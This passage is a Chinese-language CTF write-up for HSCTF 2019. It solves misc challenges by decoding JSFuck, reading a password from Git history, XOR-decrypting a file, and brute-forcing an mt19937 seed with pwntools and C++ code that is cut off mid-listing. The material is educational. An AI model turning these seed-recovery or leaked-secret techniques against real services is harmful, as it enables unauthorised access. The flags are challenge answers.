[Writeup] HSCTF 2019

這場也是開給高中生的 CTF
打得還滿順的 (除了 Pwn )

這場有幾點想要檢討一下

  1. RSA 的 $\varphi(n)$ 已經習慣用 $(p - 1) \times (q - 1)$ 下去算了,結果這場有兩題這樣算會錯,要回歸 $\varphi(n)$ 的定義才行
  2. Pwn 一樣解太少
  3. 這場暴力的題目偏多啊…

Rank: 66 / 1135

[Misc] Verbose

Written by: dwang

My friend sent me this file, but I don’t understand what I can do with these 6 different characters…

verbose.txt

Solution

很基本的 JsFuck
直接在本地 node verbose.txt 即可

Flag hsctf{esoteric_javascript_is_very_verbose}

[Misc] Locked Up

Written by: cppio

My friend gave me a zip file with the flag in it, but the zip file is encrypted. Can you help me open the zip file?

locked.zip

Solution

binwalk 會發現有一個檔案的名稱就是 flag

$ binwalk locked.zip | grep -oE "hsctf{.*}"
hsctf{w0w_z1ps_ar3nt_th@t_secUr3}

Flag hsctf{w0w_z1ps_ar3nt_th@t_secUr3}

[Misc] Admin Pass

Written by: Weastie

Hey guys, found a super cool website at http://misc.hsctf.com:8001 !

Solution

到題目提示的 GitLab 連結翻一下歷史
可以在 Commit 2f48a1b4 的地方看到密碼是 i_love_richard_stallman_hes_so_cute_8a65926fcdcdac0b

Flag hsctf{i_love_richard_stallman_hes_so_cute_8a65926fcdcdac0b}

[Misc] The Real Reversal

Written by: cppio

My friend gave me some fancy text, but it was reversed, and so I tried to reverse it but I think I messed it up further. Can you find out what the text says?

reversed.txt

Solution

先照題目說的把 reversed.txt reverse 一次吧

1
2
3
with open("reversed.txt", "rb") as fin:
with open("tmp.txt", "wb") as fout:
fout.write(fin.read()[::-1])

得到

.𝚖𝚞𝚛𝚘𝚋𝚊𝚕 𝚝𝚜𝚎 𝚍𝚒 𝚖𝚒𝚗𝚊 𝚝𝚒𝚕𝚕𝚘𝚖 𝚝𝚗𝚞𝚛𝚎𝚜𝚎𝚍 𝚊𝚒𝚌𝚒𝚏𝚏𝚘 𝚒𝚞𝚚 𝚊𝚙𝚕𝚞𝚌 𝚗𝚒 𝚝𝚗𝚞𝚜 ,𝚝𝚗𝚎𝚍𝚒𝚘𝚛𝚙 𝚗𝚘𝚗 𝚝𝚊𝚝𝚊𝚍𝚒𝚙𝚞𝚌 𝚝𝚊𝚌𝚎𝚊𝚌𝚌𝚘 𝚝𝚗𝚒𝚜 𝚛𝚞𝚎𝚝𝚙𝚎𝚌𝚡𝙴 .𝚛𝚞𝚝𝚊𝚒𝚛𝚊𝚙 𝚊𝚕𝚕𝚞𝚗 𝚝𝚊𝚒𝚐𝚞𝚏 𝚞𝚎 𝚎𝚛𝚘𝚕𝚘𝚍 𝚖𝚞𝚕𝚕𝚒𝚌 𝚎𝚜𝚜𝚎 𝚝𝚒𝚕𝚎𝚟 𝚎𝚝𝚊𝚝𝚙𝚞𝚕𝚘𝚟 𝚗𝚒 𝚝𝚒𝚛𝚎𝚍𝚗𝚎𝚑𝚎𝚛𝚙𝚎𝚛 𝚗𝚒 𝚛𝚘𝚕𝚘𝚍 𝚎𝚛𝚞𝚛𝚒 𝚎𝚝𝚞𝚊 𝚜𝚒𝚞𝙳 .𝚝𝚊𝚞𝚚𝚎𝚜𝚗𝚘𝚌 𝚘𝚍𝚘𝚖𝚖𝚘𝚌 𝚊𝚎 𝚡𝚎 𝚙𝚒𝚞𝚚𝚒𝚕𝚊 𝚝𝚞 𝚒𝚜𝚒𝚗 𝚜𝚒𝚛𝚘𝚋𝚊𝚕 𝚘𝚌𝚖𝚊𝚕𝚕𝚞 𝚗𝚘𝚒𝚝𝚊𝚝𝚒𝚌𝚛𝚎𝚡𝚎 𝚍𝚞𝚛𝚝𝚜𝚘𝚗 𝚜𝚒𝚞𝚚 ,𝚖𝚊𝚒𝚗𝚎𝚟 𝚖𝚒𝚗𝚒𝚖 𝚍𝚊 𝚖𝚒𝚗𝚎 𝚝𝚄 .𝚊𝚞𝚚𝚒𝚕𝚊 𝚊𝚗𝚐𝚊𝚖 𝚎𝚛𝚘𝚕𝚘𝚍 𝚝𝚎 𝚎𝚛𝚘𝚋𝚊𝚕 𝚝𝚞 𝚝𝚗𝚞𝚍𝚒𝚍𝚒𝚌𝚗𝚒 𝚛𝚘𝚙𝚖𝚎𝚝 𝚍𝚘𝚖𝚜𝚞𝚒𝚎 𝚘𝚍 𝚍𝚎𝚜 ,𝚝𝚒𝚕𝚎 𝚐𝚗𝚒𝚌𝚜𝚒𝚙𝚒𝚍𝚊 𝚛𝚞𝚝𝚎𝚝𝚌𝚎𝚜𝚗𝚘𝚌 ,𝚝𝚎𝚖𝚊 𝚝𝚒𝚜 𝚛𝚘𝚕𝚘𝚍 𝚖𝚞𝚜𝚙𝚒 𝚖𝚎𝚛𝚘𝙻 .𝚖𝚞𝚛𝚘𝚋𝚊𝚕 𝚝𝚜𝚎 𝚍𝚒 𝚖𝚒𝚗𝚊 𝚝𝚒𝚕𝚕𝚘𝚖 𝚝𝚗𝚞𝚛𝚎𝚜𝚎𝚍 𝚊𝚒𝚌𝚒𝚏𝚏𝚘 𝚒𝚞𝚚 𝚊𝚙𝚕𝚞𝚌 𝚗𝚒 𝚝𝚗𝚞𝚜 ,𝚝𝚗𝚎𝚍𝚒𝚘𝚛𝚙 𝚗𝚘𝚗 𝚝𝚊𝚝𝚊𝚍𝚒𝚙𝚞𝚌 𝚝𝚊𝚌𝚎𝚊𝚌𝚌𝚘 𝚝𝚗𝚒𝚜 𝚛𝚞𝚎𝚝𝚙𝚎𝚌𝚡𝙴 .𝚛𝚞𝚝𝚊𝚒𝚛𝚊𝚙 𝚊𝚕𝚕𝚞𝚗 𝚝𝚊𝚒𝚐𝚞𝚏 𝚞𝚎 𝚎𝚛𝚘𝚕𝚘𝚍 𝚖𝚞𝚕𝚕𝚒𝚌 𝚎𝚜𝚜𝚎 𝚝𝚒𝚕𝚎𝚟 𝚎𝚝𝚊𝚝𝚙𝚞𝚕𝚘𝚟 𝚗𝚒 𝚝𝚒𝚛𝚎𝚍𝚗𝚎𝚑𝚎𝚛𝚙𝚎𝚛 𝚗𝚒 𝚛𝚘𝚕𝚘𝚍 𝚎𝚛𝚞𝚛𝚒 𝚎𝚝𝚞𝚊 𝚜𝚒𝚞𝙳 .𝚝𝚊𝚞𝚚𝚎𝚜𝚗𝚘𝚌 𝚘𝚍𝚘𝚖𝚖𝚘𝚌 𝚊𝚎 𝚡𝚎 𝚙𝚒𝚞𝚚𝚒𝚕𝚊 𝚝𝚞 𝚒𝚜𝚒𝚗 𝚜𝚒𝚛𝚘𝚋𝚊𝚕 𝚘𝚌𝚖𝚊𝚕𝚕𝚞 𝚗𝚘𝚒𝚝𝚊𝚝𝚒𝚌𝚛𝚎𝚡𝚎 𝚍𝚞𝚛𝚝𝚜𝚘𝚗 𝚜𝚒𝚞𝚚 ,𝚖𝚊𝚒𝚗𝚎𝚟 𝚖𝚒𝚗𝚒𝚖 𝚍𝚊 𝚖𝚒𝚗𝚎 𝚝𝚄 .𝚊𝚞𝚚𝚒𝚕𝚊 𝚊𝚗𝚐𝚊𝚖 𝚎𝚛𝚘𝚕𝚘𝚍 𝚝𝚎 𝚎𝚛𝚘𝚋𝚊𝚕 𝚝𝚞 𝚝𝚗𝚞𝚍𝚒𝚍𝚒𝚌𝚗𝚒 𝚛𝚘𝚙𝚖𝚎𝚝 𝚍𝚘𝚖𝚜𝚞𝚒𝚎 𝚘𝚍 𝚍𝚎𝚜 ,𝚝𝚒𝚕𝚎 𝚐𝚗𝚒𝚌𝚜𝚒𝚙𝚒𝚍𝚊 𝚛𝚞𝚝𝚎𝚝𝚌𝚎𝚜𝚗𝚘𝚌 ,𝚝𝚎𝚖𝚊 𝚝𝚒𝚜 𝚛𝚘𝚕𝚘𝚍 𝚖𝚞𝚜𝚙𝚒 𝚖𝚎𝚛𝚘𝙻 .𝚜𝚛𝚎𝚝𝚝𝚎𝚕 𝚒𝚒𝚌𝚜𝚊 𝚛𝚊𝚕𝚞𝚐𝚎𝚛 𝚐𝚗𝚒𝚜𝚞 ,}𝚗𝚒𝚠_𝚎𝚑𝚝_𝚛𝚘𝚏_𝟾𝚏𝚝𝚞{𝚏𝚝𝚌𝚜𝚑 𝚜𝚒 𝚐𝚊𝚕𝚏 𝚎𝚑𝚃 .𝚖𝚞𝚛𝚘𝚋𝚊𝚕 𝚝𝚜𝚎 𝚍𝚒 𝚖𝚒𝚗𝚊 𝚝𝚒𝚕𝚕𝚘𝚖 𝚝𝚗𝚞𝚛𝚎𝚜𝚎𝚍 𝚊𝚒𝚌𝚒𝚏𝚏𝚘 𝚒𝚞𝚚 𝚊𝚙𝚕𝚞𝚌 𝚗𝚒 𝚝𝚗𝚞𝚜 ,𝚝𝚗𝚎𝚍𝚒𝚘𝚛𝚙 𝚗𝚘𝚗 𝚝𝚊𝚝𝚊𝚍𝚒𝚙𝚞𝚌 𝚝𝚊𝚌𝚎𝚊𝚌𝚌𝚘 𝚝𝚗𝚒𝚜 𝚛𝚞𝚎𝚝𝚙𝚎𝚌𝚡𝙴 .𝚛𝚞𝚝𝚊𝚒𝚛𝚊𝚙 𝚊𝚕𝚕𝚞𝚗 𝚝𝚊𝚒𝚐𝚞𝚏 𝚞𝚎 𝚎𝚛𝚘𝚕𝚘𝚍 𝚖𝚞𝚕𝚕𝚒𝚌 𝚎𝚜𝚜𝚎 𝚝𝚒𝚕𝚎𝚟 𝚎𝚝𝚊𝚝𝚙𝚞𝚕𝚘𝚟 𝚗𝚒 𝚝𝚒𝚛𝚎𝚍𝚗𝚎𝚑𝚎𝚛𝚙𝚎𝚛 𝚗𝚒 𝚛𝚘𝚕𝚘𝚍 𝚎𝚛𝚞𝚛𝚒 𝚎𝚝𝚞𝚊 𝚜𝚒𝚞𝙳 .𝚝𝚊𝚞𝚚𝚎𝚜𝚗𝚘𝚌 𝚘𝚍𝚘𝚖𝚖𝚘𝚌 𝚊𝚎 𝚡𝚎 𝚙𝚒𝚞𝚚𝚒𝚕𝚊 𝚝𝚞 𝚒𝚜𝚒𝚗 𝚜𝚒𝚛𝚘𝚋𝚊𝚕 𝚘𝚌𝚖𝚊𝚕𝚕𝚞 𝚗𝚘𝚒𝚝𝚊𝚝𝚒𝚌𝚛𝚎𝚡𝚎 𝚍𝚞𝚛𝚝𝚜𝚘𝚗 𝚜𝚒𝚞𝚚 ,𝚖𝚊𝚒𝚗𝚎𝚟 𝚖𝚒𝚗𝚒𝚖 𝚍𝚊 𝚖𝚒𝚗𝚎 𝚝𝚄 .𝚊𝚞𝚚𝚒𝚕𝚊 𝚊𝚗𝚐𝚊𝚖 𝚎𝚛𝚘𝚕𝚘𝚍 𝚝𝚎 𝚎𝚛𝚘𝚋𝚊𝚕 𝚝𝚞 𝚝𝚗𝚞𝚍𝚒𝚍𝚒𝚌𝚗𝚒 𝚛𝚘𝚙𝚖𝚎𝚝 𝚍𝚘𝚖𝚜𝚞𝚒𝚎 𝚘𝚍 𝚍𝚎𝚜 ,𝚝𝚒𝚕𝚎 𝚐𝚗𝚒𝚌𝚜𝚒𝚙𝚒𝚍𝚊 𝚛𝚞𝚝𝚎𝚝𝚌𝚎𝚜𝚗𝚘𝚌 ,𝚝𝚎𝚖𝚊 𝚝𝚒𝚜 𝚛𝚘𝚕𝚘𝚍 𝚖𝚞𝚜𝚙𝚒 𝚖𝚎𝚛𝚘𝙻 .𝚕𝚘𝚘𝚌 𝚘𝚜 𝚢𝚕𝚕𝚊𝚞𝚝𝚌𝚊 𝚜𝚒 𝚜𝚒𝚑𝚃 .𝚜𝚍𝚛𝚊𝚠𝚔𝚌𝚊𝚋 𝚜𝚒 𝚝𝚡𝚎𝚝 𝚢𝚖 𝚏𝚘 𝚕𝚕𝙰 .𝚕𝚘𝚘𝚌 𝚜𝚒 𝚜𝚒𝚑𝚝 𝚠𝚘𝚆

可以看到整個段落都是倒過來的
也就是說再倒過來一次即可

1
2
3
with open("tmp.txt", "r") as fin:
with open("res.txt", "w") as fout:
fout.write(fin.read()[::-1])

𝚆𝚘𝚠 𝚝𝚑𝚒𝚜 𝚒𝚜 𝚌𝚘𝚘𝚕. 𝙰𝚕𝚕 𝚘𝚏 𝚖𝚢 𝚝𝚎𝚡𝚝 𝚒𝚜 𝚋𝚊𝚌𝚔𝚠𝚊𝚛𝚍𝚜. 𝚃𝚑𝚒𝚜 𝚒𝚜 𝚊𝚌𝚝𝚞𝚊𝚕𝚕𝚢 𝚜𝚘 𝚌𝚘𝚘𝚕. 𝙻𝚘𝚛𝚎𝚖 𝚒𝚙𝚜𝚞𝚖 𝚍𝚘𝚕𝚘𝚛 𝚜𝚒𝚝 𝚊𝚖𝚎𝚝, 𝚌𝚘𝚗𝚜𝚎𝚌𝚝𝚎𝚝𝚞𝚛 𝚊𝚍𝚒𝚙𝚒𝚜𝚌𝚒𝚗𝚐 𝚎𝚕𝚒𝚝, 𝚜𝚎𝚍 𝚍𝚘 𝚎𝚒𝚞𝚜𝚖𝚘𝚍 𝚝𝚎𝚖𝚙𝚘𝚛 𝚒𝚗𝚌𝚒𝚍𝚒𝚍𝚞𝚗𝚝 𝚞𝚝 𝚕𝚊𝚋𝚘𝚛𝚎 𝚎𝚝 𝚍𝚘𝚕𝚘𝚛𝚎 𝚖𝚊𝚐𝚗𝚊 𝚊𝚕𝚒𝚚𝚞𝚊. 𝚄𝚝 𝚎𝚗𝚒𝚖 𝚊𝚍 𝚖𝚒𝚗𝚒𝚖 𝚟𝚎𝚗𝚒𝚊𝚖, 𝚚𝚞𝚒𝚜 𝚗𝚘𝚜𝚝𝚛𝚞𝚍 𝚎𝚡𝚎𝚛𝚌𝚒𝚝𝚊𝚝𝚒𝚘𝚗 𝚞𝚕𝚕𝚊𝚖𝚌𝚘 𝚕𝚊𝚋𝚘𝚛𝚒𝚜 𝚗𝚒𝚜𝚒 𝚞𝚝 𝚊𝚕𝚒𝚚𝚞𝚒𝚙 𝚎𝚡 𝚎𝚊 𝚌𝚘𝚖𝚖𝚘𝚍𝚘 𝚌𝚘𝚗𝚜𝚎𝚚𝚞𝚊𝚝. 𝙳𝚞𝚒𝚜 𝚊𝚞𝚝𝚎 𝚒𝚛𝚞𝚛𝚎 𝚍𝚘𝚕𝚘𝚛 𝚒𝚗 𝚛𝚎𝚙𝚛𝚎𝚑𝚎𝚗𝚍𝚎𝚛𝚒𝚝 𝚒𝚗 𝚟𝚘𝚕𝚞𝚙𝚝𝚊𝚝𝚎 𝚟𝚎𝚕𝚒𝚝 𝚎𝚜𝚜𝚎 𝚌𝚒𝚕𝚕𝚞𝚖 𝚍𝚘𝚕𝚘𝚛𝚎 𝚎𝚞 𝚏𝚞𝚐𝚒𝚊𝚝 𝚗𝚞𝚕𝚕𝚊 𝚙𝚊𝚛𝚒𝚊𝚝𝚞𝚛. 𝙴𝚡𝚌𝚎𝚙𝚝𝚎𝚞𝚛 𝚜𝚒𝚗𝚝 𝚘𝚌𝚌𝚊𝚎𝚌𝚊𝚝 𝚌𝚞𝚙𝚒𝚍𝚊𝚝𝚊𝚝 𝚗𝚘𝚗 𝚙𝚛𝚘𝚒𝚍𝚎𝚗𝚝, 𝚜𝚞𝚗𝚝 𝚒𝚗 𝚌𝚞𝚕𝚙𝚊 𝚚𝚞𝚒 𝚘𝚏𝚏𝚒𝚌𝚒𝚊 𝚍𝚎𝚜𝚎𝚛𝚞𝚗𝚝 𝚖𝚘𝚕𝚕𝚒𝚝 𝚊𝚗𝚒𝚖 𝚒𝚍 𝚎𝚜𝚝 𝚕𝚊𝚋𝚘𝚛𝚞𝚖. 𝚃𝚑𝚎 𝚏𝚕𝚊𝚐 𝚒𝚜 𝚑𝚜𝚌𝚝𝚏{𝚞𝚝𝚏𝟾_𝚏𝚘𝚛_𝚝𝚑𝚎_𝚠𝚒𝚗}, 𝚞𝚜𝚒𝚗𝚐 𝚛𝚎𝚐𝚞𝚕𝚊𝚛 𝚊𝚜𝚌𝚒𝚒 𝚕𝚎𝚝𝚝𝚎𝚛𝚜. 𝙻𝚘𝚛𝚎𝚖 𝚒𝚙𝚜𝚞𝚖 𝚍𝚘𝚕𝚘𝚛 𝚜𝚒𝚝 𝚊𝚖𝚎𝚝, 𝚌𝚘𝚗𝚜𝚎𝚌𝚝𝚎𝚝𝚞𝚛 𝚊𝚍𝚒𝚙𝚒𝚜𝚌𝚒𝚗𝚐 𝚎𝚕𝚒𝚝, 𝚜𝚎𝚍 𝚍𝚘 𝚎𝚒𝚞𝚜𝚖𝚘𝚍 𝚝𝚎𝚖𝚙𝚘𝚛 𝚒𝚗𝚌𝚒𝚍𝚒𝚍𝚞𝚗𝚝 𝚞𝚝 𝚕𝚊𝚋𝚘𝚛𝚎 𝚎𝚝 𝚍𝚘𝚕𝚘𝚛𝚎 𝚖𝚊𝚐𝚗𝚊 𝚊𝚕𝚒𝚚𝚞𝚊. 𝚄𝚝 𝚎𝚗𝚒𝚖 𝚊𝚍 𝚖𝚒𝚗𝚒𝚖 𝚟𝚎𝚗𝚒𝚊𝚖, 𝚚𝚞𝚒𝚜 𝚗𝚘𝚜𝚝𝚛𝚞𝚍 𝚎𝚡𝚎𝚛𝚌𝚒𝚝𝚊𝚝𝚒𝚘𝚗 𝚞𝚕𝚕𝚊𝚖𝚌𝚘 𝚕𝚊𝚋𝚘𝚛𝚒𝚜 𝚗𝚒𝚜𝚒 𝚞𝚝 𝚊𝚕𝚒𝚚𝚞𝚒𝚙 𝚎𝚡 𝚎𝚊 𝚌𝚘𝚖𝚖𝚘𝚍𝚘 𝚌𝚘𝚗𝚜𝚎𝚚𝚞𝚊𝚝. 𝙳𝚞𝚒𝚜 𝚊𝚞𝚝𝚎 𝚒𝚛𝚞𝚛𝚎 𝚍𝚘𝚕𝚘𝚛 𝚒𝚗 𝚛𝚎𝚙𝚛𝚎𝚑𝚎𝚗𝚍𝚎𝚛𝚒𝚝 𝚒𝚗 𝚟𝚘𝚕𝚞𝚙𝚝𝚊𝚝𝚎 𝚟𝚎𝚕𝚒𝚝 𝚎𝚜𝚜𝚎 𝚌𝚒𝚕𝚕𝚞𝚖 𝚍𝚘𝚕𝚘𝚛𝚎 𝚎𝚞 𝚏𝚞𝚐𝚒𝚊𝚝 𝚗𝚞𝚕𝚕𝚊 𝚙𝚊𝚛𝚒𝚊𝚝𝚞𝚛. 𝙴𝚡𝚌𝚎𝚙𝚝𝚎𝚞𝚛 𝚜𝚒𝚗𝚝 𝚘𝚌𝚌𝚊𝚎𝚌𝚊𝚝 𝚌𝚞𝚙𝚒𝚍𝚊𝚝𝚊𝚝 𝚗𝚘𝚗 𝚙𝚛𝚘𝚒𝚍𝚎𝚗𝚝, 𝚜𝚞𝚗𝚝 𝚒𝚗 𝚌𝚞𝚕𝚙𝚊 𝚚𝚞𝚒 𝚘𝚏𝚏𝚒𝚌𝚒𝚊 𝚍𝚎𝚜𝚎𝚛𝚞𝚗𝚝 𝚖𝚘𝚕𝚕𝚒𝚝 𝚊𝚗𝚒𝚖 𝚒𝚍 𝚎𝚜𝚝 𝚕𝚊𝚋𝚘𝚛𝚞𝚖. 𝙻𝚘𝚛𝚎𝚖 𝚒𝚙𝚜𝚞𝚖 𝚍𝚘𝚕𝚘𝚛 𝚜𝚒𝚝 𝚊𝚖𝚎𝚝, 𝚌𝚘𝚗𝚜𝚎𝚌𝚝𝚎𝚝𝚞𝚛 𝚊𝚍𝚒𝚙𝚒𝚜𝚌𝚒𝚗𝚐 𝚎𝚕𝚒𝚝, 𝚜𝚎𝚍 𝚍𝚘 𝚎𝚒𝚞𝚜𝚖𝚘𝚍 𝚝𝚎𝚖𝚙𝚘𝚛 𝚒𝚗𝚌𝚒𝚍𝚒𝚍𝚞𝚗𝚝 𝚞𝚝 𝚕𝚊𝚋𝚘𝚛𝚎 𝚎𝚝 𝚍𝚘𝚕𝚘𝚛𝚎 𝚖𝚊𝚐𝚗𝚊 𝚊𝚕𝚒𝚚𝚞𝚊. 𝚄𝚝 𝚎𝚗𝚒𝚖 𝚊𝚍 𝚖𝚒𝚗𝚒𝚖 𝚟𝚎𝚗𝚒𝚊𝚖, 𝚚𝚞𝚒𝚜 𝚗𝚘𝚜𝚝𝚛𝚞𝚍 𝚎𝚡𝚎𝚛𝚌𝚒𝚝𝚊𝚝𝚒𝚘𝚗 𝚞𝚕𝚕𝚊𝚖𝚌𝚘 𝚕𝚊𝚋𝚘𝚛𝚒𝚜 𝚗𝚒𝚜𝚒 𝚞𝚝 𝚊𝚕𝚒𝚚𝚞𝚒𝚙 𝚎𝚡 𝚎𝚊 𝚌𝚘𝚖𝚖𝚘𝚍𝚘 𝚌𝚘𝚗𝚜𝚎𝚚𝚞𝚊𝚝. 𝙳𝚞𝚒𝚜 𝚊𝚞𝚝𝚎 𝚒𝚛𝚞𝚛𝚎 𝚍𝚘𝚕𝚘𝚛 𝚒𝚗 𝚛𝚎𝚙𝚛𝚎𝚑𝚎𝚗𝚍𝚎𝚛𝚒𝚝 𝚒𝚗 𝚟𝚘𝚕𝚞𝚙𝚝𝚊𝚝𝚎 𝚟𝚎𝚕𝚒𝚝 𝚎𝚜𝚜𝚎 𝚌𝚒𝚕𝚕𝚞𝚖 𝚍𝚘𝚕𝚘𝚛𝚎 𝚎𝚞 𝚏𝚞𝚐𝚒𝚊𝚝 𝚗𝚞𝚕𝚕𝚊 𝚙𝚊𝚛𝚒𝚊𝚝𝚞𝚛. 𝙴𝚡𝚌𝚎𝚙𝚝𝚎𝚞𝚛 𝚜𝚒𝚗𝚝 𝚘𝚌𝚌𝚊𝚎𝚌𝚊𝚝 𝚌𝚞𝚙𝚒𝚍𝚊𝚝𝚊𝚝 𝚗𝚘𝚗 𝚙𝚛𝚘𝚒𝚍𝚎𝚗𝚝, 𝚜𝚞𝚗𝚝 𝚒𝚗 𝚌𝚞𝚕𝚙𝚊 𝚚𝚞𝚒 𝚘𝚏𝚏𝚒𝚌𝚒𝚊 𝚍𝚎𝚜𝚎𝚛𝚞𝚗𝚝 𝚖𝚘𝚕𝚕𝚒𝚝 𝚊𝚗𝚒𝚖 𝚒𝚍 𝚎𝚜𝚝 𝚕𝚊𝚋𝚘𝚛𝚞𝚖.

題目要我們用一般的 ASCII 打出來再上傳

Flag hsctf{utf8_for_the_win}

[Misc] Broken GPS

Written by: Disha and Shray

Ella is following a broken GPS. The GPS tells her to move in the opposite direction than the one she should be travelling in to get to her destination, and she follows her GPS exactly. For instance, every time she is supposed to move west, the GPS tells her to move east and she does so. Eventually she ends up in a totally different place than her intended location. What is the shortest distance between these two points? Assume that she moves one unit every time a direction is specified. For instance, if the GPS tells her to move “north,” she moves one unit north. If the GPS tells her to move “northwest,” then she moves one unit north and one unit west.

Input Format:

You will receive a text file with N directions provided to her by the GPS (the ones that she will be following) (1<=N<=1000). The first line in the file will be N, and each consequent line will contain a single direction: “north,” “south,” “east,” “west,” “northwest,” “northeast,” “southwest,” or “southeast.”

Output Format:

Round your answer to the nearest whole number and then divide by 26. Discard the quotient (mod 26). Each possible remainder corresponds to a letter in the alphabet. (0=a, 1=b… 25=z).

Find the letter for each test case and string them together. The result is the flag. (For instance, a, b, c becomes “abc”). Remember to use the flag format and keep all letters lowercase!

input.zip

Solution

Just a pretty simple task.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
infile = "./input/{}.txt"
flag = ""

for _ in range(1, 13):
f = open(infile.format(_), "r")
n = int(f.readline())
x, y = 0, 0
for i in range(n):
d = f.readline()
if "north" in d:
y += 1
if "south" in d:
y -= 1
if "east" in d:
x += 1
if "west" in d:
x -= 1
x *= 2
y *= 2
flag += chr(int(round(pow(x ** 2 + y ** 2, 1.0 / 2.0), 0)) % 26 + ord('a'))

print("hsctf{" + flag + "}")

Flag hsctf{garminesuckz}

[Misc] Hidden Flag

Written by: Tux

This image seems wrong…… did Keith lose the key again?

chall.png

Solution

雖然一開始我就猜到是 xor file ,但是被題目那個加粗的文字誤導,導致我卡了很久…
後來把檔案 strings 出來才發現他有提示 key is invisible
invisible 去 xor 果然對了

1
2
3
4
5
6
7
8
f = bytearray(open("chall.png", "rb").read())
key = bytearray("invisible")

xor = bytearray(len(f))
for i in range(len(f)):
xor[i] = f[i] ^ key[i % len(key)]

open("res.png", "wb").write(xor)

Flag hsctf{n0t_1nv1s1bl3_an5m0r3?-39547632}

[Misc] English Sucks

Written by: cppio

English is such a confusing language. Can you help me understand it?

nc misc.hsctf.com 9988

mt.cpp

Solution

這題用了 C++ 的 mt19937 並加上 random_device 當作 seed
透過觀察可以發現:
同一個 seed 出來的亂數順序會是相同的
也就是說我們可以暴力找出題目的 seed 並把後面的答案送回去
不過最一開始我被一個點卡到:
把 mt19937 傳進 function 裡會影響到他產出的亂數
最後是把所有 code 都丟到 main function 裡面才過的

註:下面這支程式開了 16 條 thread 爆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
import subprocess
from threading import Thread
import time

HOST = "misc.hsctf.com"
PORT = 9988

r = remote(HOST, PORT)

r.recvlines(8)

f = open("log", "w")
for i in range(216):
res = r.recvline()
f.write(res)
# print(res.strip())
f.close()

r.recvline()

print("Compiling")
subprocess.call("g++ -std=c++17 -O3 -w -o next.out next.cpp", shell=True)
print("Compile finished")

def run(st, ed):
st, ed = int(st), int(ed)
print("[Running] From {} to {}".format(st, ed))
res = subprocess.Popen("./next.out {} {}".format(st, ed), stdout=subprocess.PIPE, shell=True)
while True:
out = res.stdout.readline().strip()
if out == "":
continue
print(out)
if "Found" in out:
with open("res", "r") as f:
r.sendline(f.readline())
print(r.recv())
r.close()
exit()

threads = []
for i in range(16):
st = 0xffffffff / 16.0 * i
ed = 0xffffffff / 16.0 * (i + 1)
thread = Thread(target=run, args=(st, ed, ))
thread.setDaemon(True)
threads.append(thread)
thread.start()
time.sleep(1)

for thread in threads:
thread.join()

next.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
#include <iostream>
#include <random>
#include <fstream>
#define endl '\n'

using namespace std;

int main(int argc, char *argv[])
{
unsigned int st = strtoul(argv[1], NULL, 10);
unsigned int ed = strtoul(argv[2], NULL, 10);
for (unsigned int i = st; i < ed; i++) {
mt19937 random{i};
fstream file("log", ios::in);
string s;
bool flag = true;
for (int i = 216; i--; ) {
auto v1 = random();
auto v2 = random();
auto v3 = random();
int p = 0;
file >> s;
if (s[p++] != "BCDGPTVZ"[v2 >> 0x1F & 0x1 | v3 >> 0x0 & 0x3])
{ flag = false; break; }
if (s[p++] != "BCDGPTVZ"[v1 >> 0x09 & 0x7])
{ flag = false; break; }
if (s[p++] != "BCDGPTVZ"[v3 >> 0x05 & 0x7])
{ flag = false; break; }
if (s[p++] != "BCDGPTVZ"[v3 >> 0x08 & 0x7])
{ flag = false; break; }
if (s[p++] != "BCDGPTVZ"[v1 >> 0x15 & 0x7])
{ flag = false; break; }
if (s[p++] != "BCDGPTVZ"[v1 >> 0x06 & 0x7])
{ flag = false; break; }
if (s[p++] != "BCDGPTVZ"[v3 >> 0x1D & 0x7])
{ flag = false; break; }
if (s[p++] != "BCDGPTVZ"[v1 >> 0x1B & 0x7])
{ flag = false; break; }
if (s[p++] != "BCDGPTVZ"[v2 >> 0x04 & 0x7])
{ flag = false; break; }
if (s[p++] != "BCDGPTVZ"[v2 >> 0x0D & 0x7])
{ flag = false; break; }
if (s[p++] != "BCDGPTVZ"[v2 >> 0x0A & 0x7])
{ flag = false; break; }
if (s[p++] != "BCDGPTVZ"[v3 >> 0x1A & 0x7])
{ flag = false; break; }
if (s[p++] != "BCDGPTVZ"[v2 >> 0x16 & 0x7])
{ flag = false; break; }
if (s[p++] != "BCDGPTVZ"[v3 >> 0x17 & 0x7])
{ flag = false; break; }
if (s[p++] != "BCDGPTVZ"[v2 >> 0x1C & 0x7])
{ flag = false; break; }
if (s[p++] != "BCDGPTVZ"[v3 >> 0x14 & 0x7])
{ flag = false; break; }
if (s[p++] != "BCDGPTVZ"[v2 >> 0x01 & 0x7])
{ flag = false; break; }
if (s[p++] != "BCDGPTVZ"[v3 >> 0x11 & 0x7])
{ flag = false; break; }
if (s[p++] != "BCDGPTVZ"[v1 >> 0x00 & 0x7])
{ flag = false; break; }
if (s[p++] != "BCDGPTVZ"[v2 >> 0x13 & 0x7])
{ flag = false; break; }
if (s[p++] != "BCDGPTVZ"[v1 >> 0x18 & 0x7])
{ flag = false; break; }
if (s[p++] != "BCDGPTVZ"[v3 >> 0x0B & 0x7])
{ flag = false; break; }
if (s[p++] != "BCDGPTVZ"[v2 >> 0x19 & 0x7])
{ flag = false; break; }
if (s[p++] != "BCDGPTVZ"[v2 >> 0x10 & 0x7])
{ flag = false; break; }
if (s[p++] != "BCDGPTVZ"[v1 >> 0x03 & 0x7])
{ flag = false; break; }
if (s[p++] != "BCDGPTVZ"[v1 >> 0x12 & 0x7])
{ flag = false; break; }
if (s[p++] != "BCDGPTVZ"[v1 >> 0x0F & 0x7])
{ flag = false; break; }
if (s[p++] != "BCDGPTVZ"[v3 >> 0x02 & 0x7])
{ flag = false; break; }
if (s[p++] != "BCDGPTVZ"[v1 >> 0x0C & 0x7])
{ flag = false; break; }
